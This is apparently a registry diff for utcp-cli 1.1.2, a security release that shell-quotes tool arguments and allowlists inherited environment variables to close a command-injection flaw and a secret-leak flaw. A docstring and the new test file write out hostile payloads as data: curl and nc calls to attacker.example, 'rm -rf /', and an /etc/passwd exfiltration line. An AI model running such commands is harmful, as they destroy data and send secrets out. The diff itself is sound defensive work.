utcp-cli 1.1.1__tar.gz → 1.1.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/PKG-INFO +1 -1
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/pyproject.toml +1 -1
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli/cli_call_template.py +105 -17
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli/cli_communication_protocol.py +109 -14
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/PKG-INFO +1 -1
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/SOURCES.txt +2 -1
- utcp_cli-1.1.2/tests/test_security.py +420 -0
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/README.md +0 -0
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/setup.cfg +0 -0
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli/__init__.py +0 -0
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/dependency_links.txt +0 -0
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/entry_points.txt +0 -0
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/requires.txt +0 -0
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/src/utcp_cli.egg-info/top_level.txt +0 -0
- {utcp_cli-1.1.1 → utcp_cli-1.1.2}/tests/test_cli_communication_protocol.py +0 -0
|
@@ -9,15 +9,25 @@ import traceback
|
|
|
9
9
|
class CommandStep(BaseModel):
|
|
10
10
|
"""REQUIRED
|
|
11
11
|
Configuration for a single command step in a CLI execution flow.
|
|
12
|
-
|
|
12
|
+
|
|
13
13
|
Attributes:
|
|
14
14
|
command: The command string to execute. Can contain UTCP_ARG_argname_UTCP_END
|
|
15
15
|
placeholders that will be replaced with values from tool_args. Can also
|
|
16
16
|
reference previous command outputs using $CMD_0_OUTPUT, $CMD_1_OUTPUT, etc.
|
|
17
|
+
|
|
18
|
+
Placeholder substitution is shell-quoted (`shlex.quote` on Unix,
|
|
19
|
+
PowerShell single-quoted literals on Windows) so that
|
|
20
|
+
`tool_args` values cannot inject extra commands. As a
|
|
21
|
+
consequence, each `UTCP_ARG_..._UTCP_END` placeholder always
|
|
22
|
+
expands to **exactly one shell token**. Tools that previously
|
|
23
|
+
relied on a single placeholder splitting into multiple flags
|
|
24
|
+
(e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now
|
|
25
|
+
use one placeholder per intended flag. This change ships with
|
|
26
|
+
utcp-cli 1.1.2 and addresses GHSA-33p6-5jxp-p3x4.
|
|
17
27
|
append_to_final_output: Whether this command's output should be included
|
|
18
28
|
in the final result. If not specified, defaults to False for all
|
|
19
29
|
commands except the last one.
|
|
20
|
-
|
|
30
|
+
|
|
21
31
|
Examples:
|
|
22
32
|
Basic command step:
|
|
23
33
|
```json
|
|
@@ -26,7 +36,7 @@ class CommandStep(BaseModel):
|
|
|
26
36
|
"append_to_final_output": true
|
|
27
37
|
}
|
|
28
38
|
```
|
|
29
|
-
|
|
39
|
+
|
|
30
40
|
Command with argument placeholders and output reference:
|
|
31
41
|
```json
|
|
32
42
|
{
|
|
@@ -36,10 +46,15 @@ class CommandStep(BaseModel):
|
|
|
36
46
|
```
|
|
37
47
|
"""
|
|
38
48
|
command: str = Field(
|
|
39
|
-
description=
|
|
49
|
+
description=(
|
|
50
|
+
"Command string to execute, may contain UTCP_ARG_argname_UTCP_END "
|
|
51
|
+
"placeholders. Each placeholder is shell-quoted at substitution "
|
|
52
|
+
"time and therefore expands to exactly one shell token; use one "
|
|
53
|
+
"placeholder per intended argument."
|
|
54
|
+
)
|
|
40
55
|
)
|
|
41
56
|
append_to_final_output: Optional[bool] = Field(
|
|
42
|
-
default=None,
|
|
57
|
+
default=None,
|
|
43
58
|
description="Whether to include this command's output in final result. Defaults to False for all except last command"
|
|
44
59
|
)
|
|
45
60
|
|
|
@@ -54,26 +69,76 @@ class CliCallTemplate(CallTemplate):
|
|
|
54
69
|
**Cross-Platform Script Generation:**
|
|
55
70
|
- **Windows**: Commands are converted to a PowerShell script
|
|
56
71
|
- **Unix/Linux/macOS**: Commands are converted to a Bash script
|
|
57
|
-
|
|
72
|
+
|
|
58
73
|
**Command Syntax Requirements:**
|
|
59
74
|
- Windows: Use PowerShell syntax (e.g., `Get-ChildItem`, `Set-Location`)
|
|
60
75
|
- Unix: Use Bash/shell syntax (e.g., `ls`, `cd`)
|
|
61
|
-
|
|
76
|
+
|
|
62
77
|
**Referencing Previous Command Output:**
|
|
63
78
|
You can reference the output of previous commands using variables:
|
|
64
79
|
- **PowerShell**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
|
|
65
80
|
- **Bash**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
|
|
66
|
-
|
|
81
|
+
|
|
67
82
|
Example: `echo "Previous result: $CMD_0_OUTPUT"`
|
|
68
83
|
|
|
84
|
+
**Argument Substitution and Quoting (utcp-cli >= 1.1.2):**
|
|
85
|
+
`UTCP_ARG_argname_UTCP_END` placeholders are replaced with the
|
|
86
|
+
corresponding `tool_args` value, shell-quoted for the target shell
|
|
87
|
+
(`shlex.quote` on Unix, PowerShell single-quoted literal on Windows).
|
|
88
|
+
Each placeholder therefore expands to exactly one shell token. If a
|
|
89
|
+
tool needs multiple flags or arguments, define multiple placeholders
|
|
90
|
+
(one per flag) instead of relying on a single placeholder splitting
|
|
91
|
+
on whitespace. This change closes the command-injection vector
|
|
92
|
+
tracked as GHSA-33p6-5jxp-p3x4.
|
|
93
|
+
|
|
94
|
+
**Subprocess Environment (utcp-cli >= 1.1.2):**
|
|
95
|
+
The CLI subprocess no longer inherits the full host environment.
|
|
96
|
+
Inheritance is controlled by `inherit_env_vars`:
|
|
97
|
+
- Omitted / `null`: a built-in default allowlist of host variables
|
|
98
|
+
is passed through (e.g. `PATH`, `PATHEXT`, `SYSTEMROOT`, `HOME`,
|
|
99
|
+
`LANG`) so shells and binaries can be located normally.
|
|
100
|
+
- `[]`: strict mode — nothing from the host environment is
|
|
101
|
+
inherited; only `env_vars` is propagated.
|
|
102
|
+
- `["FOO", "BAR"]`: exactly those host variables are passed
|
|
103
|
+
through. The default allowlist is NOT merged in, so callers that
|
|
104
|
+
still need `PATH` must list it explicitly.
|
|
105
|
+
`env_vars` is always applied on top and overrides any inherited
|
|
106
|
+
value. Values in `env_vars` may be plain strings or `${VARNAME}`
|
|
107
|
+
style placeholders resolved by the UTCP client's variable
|
|
108
|
+
substitutor (note: those placeholders are resolved against the UTCP
|
|
109
|
+
client's variable sources, not against the host shell — to forward
|
|
110
|
+
a host variable by name use `inherit_env_vars`). This closes the
|
|
111
|
+
secret-exfiltration vector tracked as GHSA-5v57-8rxj-3p2r.
|
|
112
|
+
|
|
69
113
|
Attributes:
|
|
70
114
|
call_template_type: The type of the call template. Must be "cli".
|
|
71
115
|
commands: A list of CommandStep objects defining the commands to execute
|
|
72
116
|
in order. Each command can contain UTCP_ARG_argname_UTCP_END placeholders
|
|
73
117
|
that will be replaced with values from tool_args during execution.
|
|
118
|
+
Placeholders are shell-quoted and therefore expand to exactly one
|
|
119
|
+
shell token (see class docstring).
|
|
74
120
|
env_vars: A dictionary of environment variables to set for the command's
|
|
75
121
|
execution context. Values can be static strings or placeholders for
|
|
76
|
-
variables from the UTCP client's variable substitutor.
|
|
122
|
+
variables from the UTCP client's variable substitutor. Always
|
|
123
|
+
propagated; overrides anything inherited from the host.
|
|
124
|
+
inherit_env_vars: Controls which host environment variables are
|
|
125
|
+
passed through to the subprocess.
|
|
126
|
+
- `None` (default): the built-in default allowlist
|
|
127
|
+
(`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`,
|
|
128
|
+
`SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is
|
|
129
|
+
inherited so shells and binaries work without extra
|
|
130
|
+
configuration.
|
|
131
|
+
- `[]`: strict mode — no host variables are inherited at
|
|
132
|
+
all. Only `env_vars` reaches the subprocess.
|
|
133
|
+
- `["FOO", "BAR"]`: exactly those host variables are
|
|
134
|
+
inherited. The default allowlist is replaced, not
|
|
135
|
+
extended, so include `PATH` (and any other required
|
|
136
|
+
shell vars) yourself if needed.
|
|
137
|
+
Variables named here that are not set on the host are
|
|
138
|
+
silently skipped. Use this to expose specific host secrets
|
|
139
|
+
such as `OPENAI_API_KEY`, `AWS_PROFILE`, `PYTHONPATH`, or
|
|
140
|
+
`NODE_PATH` without putting their values in the call
|
|
141
|
+
template.
|
|
77
142
|
working_dir: The working directory from which to run the commands. If not
|
|
78
143
|
provided, it defaults to the current process's working directory.
|
|
79
144
|
auth: Authentication details. Not applicable to the CLI protocol, so it
|
|
@@ -97,7 +162,7 @@ class CliCallTemplate(CallTemplate):
|
|
|
97
162
|
]
|
|
98
163
|
}
|
|
99
164
|
```
|
|
100
|
-
|
|
165
|
+
|
|
101
166
|
Referencing previous command output:
|
|
102
167
|
```json
|
|
103
168
|
{
|
|
@@ -116,7 +181,7 @@ class CliCallTemplate(CallTemplate):
|
|
|
116
181
|
}
|
|
117
182
|
```
|
|
118
183
|
|
|
119
|
-
Command with environment variables and placeholders:
|
|
184
|
+
Command with environment variables, host pass-through, and placeholders:
|
|
120
185
|
```json
|
|
121
186
|
{
|
|
122
187
|
"name": "python_multi_step_tool",
|
|
@@ -133,16 +198,19 @@ class CliCallTemplate(CallTemplate):
|
|
|
133
198
|
"env_vars": {
|
|
134
199
|
"PYTHONPATH": "/custom/path",
|
|
135
200
|
"API_KEY": "${API_KEY_VAR}"
|
|
136
|
-
}
|
|
201
|
+
},
|
|
202
|
+
"inherit_env_vars": ["OPENAI_API_KEY", "AWS_PROFILE"]
|
|
137
203
|
}
|
|
138
204
|
```
|
|
139
205
|
|
|
140
206
|
Security Considerations:
|
|
141
207
|
- Commands are executed in a subprocess. Ensure that the commands
|
|
142
208
|
specified are from a trusted source.
|
|
143
|
-
-
|
|
144
|
-
|
|
145
|
-
|
|
209
|
+
- `tool_args` values are shell-quoted on substitution, but the
|
|
210
|
+
*command template itself* is not — never assemble it from
|
|
211
|
+
untrusted input.
|
|
212
|
+
- The host environment is restricted; secrets are not propagated
|
|
213
|
+
unless explicitly named in `env_vars` or `inherit_env_vars`.
|
|
146
214
|
- Commands should use the appropriate syntax for the target platform
|
|
147
215
|
(PowerShell on Windows, Bash on Unix).
|
|
148
216
|
- Previous command outputs are available as variables but should be
|
|
@@ -151,10 +219,30 @@ class CliCallTemplate(CallTemplate):
|
|
|
151
219
|
|
|
152
220
|
call_template_type: Literal["cli"] = "cli"
|
|
153
221
|
commands: List[CommandStep] = Field(
|
|
154
|
-
description=
|
|
222
|
+
description=(
|
|
223
|
+
"List of commands to execute in order. Each command can contain "
|
|
224
|
+
"UTCP_ARG_argname_UTCP_END placeholders, which are shell-quoted "
|
|
225
|
+
"on substitution and therefore expand to exactly one shell token."
|
|
226
|
+
)
|
|
155
227
|
)
|
|
156
228
|
env_vars: Optional[Dict[str, str]] = Field(
|
|
157
|
-
default=None,
|
|
229
|
+
default=None,
|
|
230
|
+
description=(
|
|
231
|
+
"Environment variables to set when executing the commands. Always "
|
|
232
|
+
"propagated to the subprocess and override values inherited from "
|
|
233
|
+
"the host."
|
|
234
|
+
)
|
|
235
|
+
)
|
|
236
|
+
inherit_env_vars: Optional[List[str]] = Field(
|
|
237
|
+
default=None,
|
|
238
|
+
description=(
|
|
239
|
+
"Controls host environment inheritance. None (default) inherits "
|
|
240
|
+
"a built-in safe allowlist (PATH, HOME / PATHEXT, SYSTEMROOT, "
|
|
241
|
+
"etc.). [] disables host inheritance entirely. A list of names "
|
|
242
|
+
"replaces the default allowlist with exactly those variables, so "
|
|
243
|
+
"include PATH explicitly if your tool needs it. Names not set on "
|
|
244
|
+
"the host are skipped silently."
|
|
245
|
+
)
|
|
158
246
|
)
|
|
159
247
|
working_dir: Optional[str] = Field(
|
|
160
248
|
default=None, description="Working directory for command execution"
|
|
@@ -61,22 +61,89 @@ class CliCommunicationProtocol(CommunicationProtocol):
|
|
|
61
61
|
"""Log error messages."""
|
|
62
62
|
logger.error(f"[CliCommunicationProtocol Error] {message}")
|
|
63
63
|
|
|
64
|
+
# Default set of host environment variables propagated to the CLI
|
|
65
|
+
# subprocess when `CliCallTemplate.inherit_env_vars` is not provided
|
|
66
|
+
# (i.e. None). Locating binaries (`PATH` / `PATHEXT`), basic shell +
|
|
67
|
+
# locale state, and Windows runtime paths are needed for almost any
|
|
68
|
+
# tool to start. Anything else (cloud creds, API keys, internal
|
|
69
|
+
# tokens) must be opted in by listing the variable name explicitly in
|
|
70
|
+
# `inherit_env_vars`, or its value provided in `env_vars`.
|
|
71
|
+
#
|
|
72
|
+
# If `inherit_env_vars == []`, the caller is opting into strict mode
|
|
73
|
+
# and NOTHING is inherited from the host — only `env_vars` reaches the
|
|
74
|
+
# subprocess.
|
|
75
|
+
#
|
|
76
|
+
# Backs GHSA-5v57-8rxj-3p2r: the previous implementation handed
|
|
77
|
+
# `os.environ.copy()` to the subprocess, which combined with the
|
|
78
|
+
# command injection in `_substitute_utcp_args`
|
|
79
|
+
# (GHSA-33p6-5jxp-p3x4) let an attacker exfiltrate every secret in
|
|
80
|
+
# the host process.
|
|
81
|
+
_DEFAULT_INHERITED_KEYS_UNIX: tuple = (
|
|
82
|
+
"PATH", "HOME", "LANG", "LC_ALL", "LC_CTYPE", "USER", "LOGNAME",
|
|
83
|
+
"SHELL", "TZ", "TERM",
|
|
84
|
+
)
|
|
85
|
+
_DEFAULT_INHERITED_KEYS_WINDOWS: tuple = (
|
|
86
|
+
"PATH", "PATHEXT", "SYSTEMROOT", "SYSTEMDRIVE", "WINDIR", "COMSPEC",
|
|
87
|
+
"TEMP", "TMP", "USERPROFILE", "USERNAME", "USERDOMAIN", "COMPUTERNAME",
|
|
88
|
+
"HOMEDRIVE", "HOMEPATH", "APPDATA", "LOCALAPPDATA", "PROGRAMDATA",
|
|
89
|
+
"PROGRAMFILES", "PROGRAMFILES(X86)", "PROGRAMW6432", "OS",
|
|
90
|
+
"PROCESSOR_ARCHITECTURE", "NUMBER_OF_PROCESSORS",
|
|
91
|
+
)
|
|
92
|
+
|
|
93
|
+
@classmethod
|
|
94
|
+
def _default_inherited_keys(cls) -> tuple:
|
|
95
|
+
"""Return the platform-appropriate default inheritance list."""
|
|
96
|
+
if os.name == 'nt':
|
|
97
|
+
return cls._DEFAULT_INHERITED_KEYS_WINDOWS
|
|
98
|
+
return cls._DEFAULT_INHERITED_KEYS_UNIX
|
|
99
|
+
|
|
64
100
|
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
|
|
65
101
|
"""Prepare environment variables for command execution.
|
|
66
|
-
|
|
102
|
+
|
|
103
|
+
Composes the subprocess environment with one layer of host
|
|
104
|
+
inheritance (controlled by `provider.inherit_env_vars`) plus
|
|
105
|
+
`provider.env_vars` on top:
|
|
106
|
+
|
|
107
|
+
- `inherit_env_vars is None` (default): pass through the
|
|
108
|
+
built-in default allowlist of host vars (PATH, HOME / PATHEXT,
|
|
109
|
+
SYSTEMROOT, etc.) so normal shells and binaries work without
|
|
110
|
+
extra wiring.
|
|
111
|
+
- `inherit_env_vars == []`: strict mode. Nothing from the host
|
|
112
|
+
environment reaches the subprocess — only `env_vars`.
|
|
113
|
+
- `inherit_env_vars == [...]`: pass through exactly the named
|
|
114
|
+
host variables. The default allowlist is NOT merged in, so
|
|
115
|
+
callers who still want PATH must include it explicitly.
|
|
116
|
+
|
|
117
|
+
`env_vars` is always applied last and overrides anything inherited
|
|
118
|
+
from the host.
|
|
119
|
+
|
|
120
|
+
This prevents the unrestricted host environment from leaking into
|
|
121
|
+
a subprocess that may be running attacker-controlled commands
|
|
122
|
+
(GHSA-5v57-8rxj-3p2r).
|
|
123
|
+
|
|
67
124
|
Args:
|
|
68
125
|
provider: The CLI provider
|
|
69
|
-
|
|
126
|
+
|
|
70
127
|
Returns:
|
|
71
128
|
Environment variables dictionary
|
|
72
129
|
"""
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
130
|
+
if provider.inherit_env_vars is None:
|
|
131
|
+
inherited_keys: tuple = self._default_inherited_keys()
|
|
132
|
+
else:
|
|
133
|
+
inherited_keys = tuple(provider.inherit_env_vars)
|
|
134
|
+
|
|
135
|
+
env: Dict[str, str] = {}
|
|
136
|
+
for key in inherited_keys:
|
|
137
|
+
value = os.environ.get(key)
|
|
138
|
+
if value is not None:
|
|
139
|
+
env[key] = value
|
|
140
|
+
|
|
141
|
+
# Caller-supplied variables override anything inherited from the
|
|
142
|
+
# host. Unset host vars in `inherited_keys` are skipped silently
|
|
143
|
+
# so missing optionals don't break tool execution.
|
|
77
144
|
if provider.env_vars:
|
|
78
145
|
env.update(provider.env_vars)
|
|
79
|
-
|
|
146
|
+
|
|
80
147
|
return env
|
|
81
148
|
|
|
82
149
|
async def _execute_command(
|
|
@@ -255,27 +322,55 @@ class CliCommunicationProtocol(CommunicationProtocol):
|
|
|
255
322
|
f"Deregistering CLI manual '{manual_call_template.name}' (no-op)"
|
|
256
323
|
)
|
|
257
324
|
|
|
325
|
+
@staticmethod
|
|
326
|
+
def _shell_quote(value: str) -> str:
|
|
327
|
+
"""Quote a single value so it is interpreted as one literal token by
|
|
328
|
+
the target shell (`bash` on Unix, `powershell.exe` on Windows).
|
|
329
|
+
|
|
330
|
+
On Unix we delegate to `shlex.quote`. On Windows we wrap the value in
|
|
331
|
+
a PowerShell single-quoted literal: inside such a literal everything
|
|
332
|
+
is taken verbatim except `'` itself, which is escaped by doubling
|
|
333
|
+
(`''`). This blocks the metacharacters PowerShell would otherwise
|
|
334
|
+
interpret (`;`, `&`, `|`, `` ` ``, `$`, `(`, `)`, `<`, `>`, line
|
|
335
|
+
breaks).
|
|
336
|
+
|
|
337
|
+
Backs GHSA-33p6-5jxp-p3x4: the previous substitution did
|
|
338
|
+
`str(tool_args[arg_name])` directly into the shell script, which
|
|
339
|
+
allowed arbitrary command injection (e.g.
|
|
340
|
+
`"data.csv; curl http://attacker.example/$(cat /etc/passwd)"`).
|
|
341
|
+
"""
|
|
342
|
+
if os.name == 'nt':
|
|
343
|
+
return "'" + value.replace("'", "''") + "'"
|
|
344
|
+
return shlex.quote(value)
|
|
345
|
+
|
|
258
346
|
def _substitute_utcp_args(self, command: str, tool_args: Dict[str, Any]) -> str:
|
|
259
347
|
"""Substitute UTCP_ARG placeholders in command string with tool arguments.
|
|
260
|
-
|
|
348
|
+
|
|
349
|
+
Each substituted value is shell-quoted for the target shell so that
|
|
350
|
+
attacker-controlled `tool_args` cannot escape the placeholder and
|
|
351
|
+
inject extra commands. As a side effect, a placeholder always
|
|
352
|
+
expands to exactly one shell token: callers that need to pass
|
|
353
|
+
multiple flags / arguments must use multiple placeholders rather
|
|
354
|
+
than splitting a single string at runtime.
|
|
355
|
+
|
|
261
356
|
Args:
|
|
262
357
|
command: Command string containing UTCP_ARG_argname_UTCP_END placeholders
|
|
263
358
|
tool_args: Dictionary of argument names and values
|
|
264
|
-
|
|
359
|
+
|
|
265
360
|
Returns:
|
|
266
|
-
Command string with placeholders replaced by
|
|
361
|
+
Command string with placeholders replaced by shell-quoted values
|
|
267
362
|
"""
|
|
268
363
|
# Pattern to match UTCP_ARG_argname_UTCP_END
|
|
269
364
|
pattern = r'UTCP_ARG_(.+?)_UTCP_END'
|
|
270
|
-
|
|
365
|
+
|
|
271
366
|
def replace_placeholder(match):
|
|
272
367
|
arg_name = match.group(1)
|
|
273
368
|
if arg_name in tool_args:
|
|
274
|
-
return str(tool_args[arg_name])
|
|
369
|
+
return self._shell_quote(str(tool_args[arg_name]))
|
|
275
370
|
else:
|
|
276
371
|
self._log_error(f"Missing argument '{arg_name}' for placeholder in command: {command}")
|
|
277
|
-
return f"MISSING_ARG_{arg_name}"
|
|
278
|
-
|
|
372
|
+
return self._shell_quote(f"MISSING_ARG_{arg_name}")
|
|
373
|
+
|
|
279
374
|
return re.sub(pattern, replace_placeholder, command)
|
|
280
375
|
|
|
281
376
|
def _build_combined_shell_script(self, commands: List[CommandStep], tool_args: Dict[str, Any]) -> str:
|
|
@@ -9,4 +9,5 @@ src/utcp_cli.egg-info/dependency_links.txt
|
|
|
9
9
|
src/utcp_cli.egg-info/entry_points.txt
|
|
10
10
|
src/utcp_cli.egg-info/requires.txt
|
|
11
11
|
src/utcp_cli.egg-info/top_level.txt
|
|
12
|
-
tests/test_cli_communication_protocol.py
|
|
12
|
+
tests/test_cli_communication_protocol.py
|
|
13
|
+
tests/test_security.py
|
|
@@ -0,0 +1,420 @@
|
|
|
1
|
+
"""Security tests for the CLI communication protocol.
|
|
2
|
+
|
|
3
|
+
Pin the fixes for:
|
|
4
|
+
|
|
5
|
+
- GHSA-33p6-5jxp-p3x4 (CWE-78, command injection via unsanitized
|
|
6
|
+
`tool_args` interpolation in `_substitute_utcp_args`).
|
|
7
|
+
- GHSA-5v57-8rxj-3p2r (CWE-526, full host environment leaked to the
|
|
8
|
+
CLI subprocess via `_prepare_environment`).
|
|
9
|
+
|
|
10
|
+
Each behavior is locked in here so a regression that re-introduces the
|
|
11
|
+
historical bypass fails this file rather than silently shipping.
|
|
12
|
+
"""
|
|
13
|
+
import os
|
|
14
|
+
import shlex
|
|
15
|
+
import sys
|
|
16
|
+
import tempfile
|
|
17
|
+
|
|
18
|
+
import pytest
|
|
19
|
+
import pytest_asyncio
|
|
20
|
+
|
|
21
|
+
from utcp_cli.cli_communication_protocol import CliCommunicationProtocol
|
|
22
|
+
from utcp_cli.cli_call_template import CliCallTemplate
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
@pytest_asyncio.fixture
|
|
26
|
+
async def transport() -> CliCommunicationProtocol:
|
|
27
|
+
yield CliCommunicationProtocol()
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
# ---------------------------------------------------------------------------
|
|
31
|
+
# GHSA-33p6-5jxp-p3x4 — _substitute_utcp_args must shell-quote substituted
|
|
32
|
+
# values so attacker-controlled tool_args can't escape into the script.
|
|
33
|
+
# ---------------------------------------------------------------------------
|
|
34
|
+
|
|
35
|
+
class TestArgSubstitutionQuoting:
|
|
36
|
+
@pytest.mark.parametrize(
|
|
37
|
+
"value",
|
|
38
|
+
[
|
|
39
|
+
"data.csv; curl http://attacker.example",
|
|
40
|
+
"data.csv && rm -rf /",
|
|
41
|
+
"data.csv | nc attacker.example 9999",
|
|
42
|
+
"data.csv `id`",
|
|
43
|
+
"data.csv $(id)",
|
|
44
|
+
'data.csv"; echo pwned; "',
|
|
45
|
+
"data.csv\nrm -rf /",
|
|
46
|
+
"value with spaces",
|
|
47
|
+
"value'with'quote",
|
|
48
|
+
],
|
|
49
|
+
)
|
|
50
|
+
def test_shell_metacharacters_are_quoted(self, transport, value):
|
|
51
|
+
substituted = transport._substitute_utcp_args(
|
|
52
|
+
"echo UTCP_ARG_x_UTCP_END", {"x": value}
|
|
53
|
+
)
|
|
54
|
+
# The placeholder must be gone.
|
|
55
|
+
assert "UTCP_ARG_x_UTCP_END" not in substituted
|
|
56
|
+
# The original value must still be present (just quoted), so the
|
|
57
|
+
# tool actually sees it.
|
|
58
|
+
# On Unix shlex.quote may fully wrap in single quotes; on Windows we
|
|
59
|
+
# wrap in single quotes and double internal `'`. Either way the
|
|
60
|
+
# underlying characters appear somewhere in the substituted string.
|
|
61
|
+
assert any(part in substituted for part in value.split("'"))
|
|
62
|
+
|
|
63
|
+
def test_unix_quoting_uses_shlex(self, transport, monkeypatch):
|
|
64
|
+
monkeypatch.setattr(os, "name", "posix")
|
|
65
|
+
out = transport._substitute_utcp_args(
|
|
66
|
+
"run UTCP_ARG_x_UTCP_END", {"x": "a; rm -rf /"}
|
|
67
|
+
)
|
|
68
|
+
# shlex.quote wraps anything containing shell metas in single quotes.
|
|
69
|
+
assert out == f"run {shlex.quote('a; rm -rf /')}"
|
|
70
|
+
assert "; rm -rf /" not in out.replace(shlex.quote("a; rm -rf /"), "")
|
|
71
|
+
|
|
72
|
+
def test_windows_quoting_doubles_single_quote(self, transport, monkeypatch):
|
|
73
|
+
monkeypatch.setattr(os, "name", "nt")
|
|
74
|
+
out = transport._substitute_utcp_args(
|
|
75
|
+
"Get-Item UTCP_ARG_x_UTCP_END",
|
|
76
|
+
{"x": "C:\\Users\\bob's file.txt; whoami"},
|
|
77
|
+
)
|
|
78
|
+
# PowerShell single-quoted literal; embedded ' becomes ''.
|
|
79
|
+
assert out == "Get-Item 'C:\\Users\\bob''s file.txt; whoami'"
|
|
80
|
+
|
|
81
|
+
def test_windows_quoting_blocks_powershell_metacharacters(self, transport, monkeypatch):
|
|
82
|
+
monkeypatch.setattr(os, "name", "nt")
|
|
83
|
+
for payload in [
|
|
84
|
+
"x; whoami",
|
|
85
|
+
"x | whoami",
|
|
86
|
+
"x & whoami",
|
|
87
|
+
"x`whoami`",
|
|
88
|
+
"x$(whoami)",
|
|
89
|
+
"x\nwhoami",
|
|
90
|
+
]:
|
|
91
|
+
out = transport._substitute_utcp_args(
|
|
92
|
+
"Get-Item UTCP_ARG_x_UTCP_END", {"x": payload}
|
|
93
|
+
)
|
|
94
|
+
# The whole payload must be wrapped as a single-quoted literal.
|
|
95
|
+
assert out.startswith("Get-Item '")
|
|
96
|
+
assert out.endswith("'")
|
|
97
|
+
# No unescaped single quote should appear in the middle.
|
|
98
|
+
inner = out[len("Get-Item '"):-1]
|
|
99
|
+
assert "'" not in inner.replace("''", "")
|
|
100
|
+
|
|
101
|
+
def test_missing_arg_placeholder_is_also_quoted(self, transport, monkeypatch):
|
|
102
|
+
# The fallback path used to return a bare `MISSING_ARG_<name>` token,
|
|
103
|
+
# which broke the invariant that every substitution is one shell
|
|
104
|
+
# token. Quote it for defense in depth.
|
|
105
|
+
monkeypatch.setattr(os, "name", "posix")
|
|
106
|
+
out = transport._substitute_utcp_args(
|
|
107
|
+
"echo UTCP_ARG_missing_UTCP_END", {}
|
|
108
|
+
)
|
|
109
|
+
assert "UTCP_ARG_missing_UTCP_END" not in out
|
|
110
|
+
# Either the literal token, or its shlex.quote'd form (alphanum +
|
|
111
|
+
# underscores normally don't need quoting):
|
|
112
|
+
assert "MISSING_ARG_missing" in out
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
# ---------------------------------------------------------------------------
|
|
116
|
+
# GHSA-5v57-8rxj-3p2r — _prepare_environment must NOT leak the full host
|
|
117
|
+
# environment into the CLI subprocess.
|
|
118
|
+
# ---------------------------------------------------------------------------
|
|
119
|
+
|
|
120
|
+
class TestPreparedEnvironmentDoesNotLeakSecrets:
|
|
121
|
+
SECRET_KEYS = [
|
|
122
|
+
"OPENAI_API_KEY",
|
|
123
|
+
"ANTHROPIC_API_KEY",
|
|
124
|
+
"AWS_SECRET_ACCESS_KEY",
|
|
125
|
+
"AWS_ACCESS_KEY_ID",
|
|
126
|
+
"AZURE_CLIENT_SECRET",
|
|
127
|
+
"GITHUB_TOKEN",
|
|
128
|
+
"DATABASE_URL",
|
|
129
|
+
"SLACK_TOKEN",
|
|
130
|
+
]
|
|
131
|
+
|
|
132
|
+
def test_secrets_in_host_env_do_not_propagate(self, transport, monkeypatch):
|
|
133
|
+
for k in self.SECRET_KEYS:
|
|
134
|
+
monkeypatch.setenv(k, f"super-secret-{k}")
|
|
135
|
+
provider = CliCallTemplate(commands=[{"command": "echo hi"}])
|
|
136
|
+
env = transport._prepare_environment(provider)
|
|
137
|
+
for k in self.SECRET_KEYS:
|
|
138
|
+
assert k not in env, (
|
|
139
|
+
f"{k} leaked from host environment into CLI subprocess "
|
|
140
|
+
"(GHSA-5v57-8rxj-3p2r). Only the safe-keys allowlist plus "
|
|
141
|
+
"provider.env_vars should propagate."
|
|
142
|
+
)
|
|
143
|
+
|
|
144
|
+
def test_explicit_env_vars_are_preserved(self, transport, monkeypatch):
|
|
145
|
+
# Caller can still inject extra env explicitly via env_vars, even
|
|
146
|
+
# for keys that are otherwise blocked.
|
|
147
|
+
monkeypatch.setenv("OPENAI_API_KEY", "host-value")
|
|
148
|
+
provider = CliCallTemplate(
|
|
149
|
+
commands=[{"command": "echo hi"}],
|
|
150
|
+
env_vars={"OPENAI_API_KEY": "explicit-value", "MY_FLAG": "1"},
|
|
151
|
+
)
|
|
152
|
+
env = transport._prepare_environment(provider)
|
|
153
|
+
assert env["OPENAI_API_KEY"] == "explicit-value"
|
|
154
|
+
assert env["MY_FLAG"] == "1"
|
|
155
|
+
|
|
156
|
+
def test_essentials_are_preserved(self, transport, monkeypatch):
|
|
157
|
+
# PATH must propagate or no binary can be located.
|
|
158
|
+
monkeypatch.setenv("PATH", "/usr/local/bin:/usr/bin:/bin")
|
|
159
|
+
provider = CliCallTemplate(commands=[{"command": "echo hi"}])
|
|
160
|
+
env = transport._prepare_environment(provider)
|
|
161
|
+
assert "PATH" in env
|
|
162
|
+
|
|
163
|
+
def test_env_vars_override_safe_defaults(self, transport, monkeypatch):
|
|
164
|
+
monkeypatch.setenv("PATH", "/usr/bin")
|
|
165
|
+
provider = CliCallTemplate(
|
|
166
|
+
commands=[{"command": "echo hi"}],
|
|
167
|
+
env_vars={"PATH": "/custom/bin"},
|
|
168
|
+
)
|
|
169
|
+
env = transport._prepare_environment(provider)
|
|
170
|
+
assert env["PATH"] == "/custom/bin"
|
|
171
|
+
|
|
172
|
+
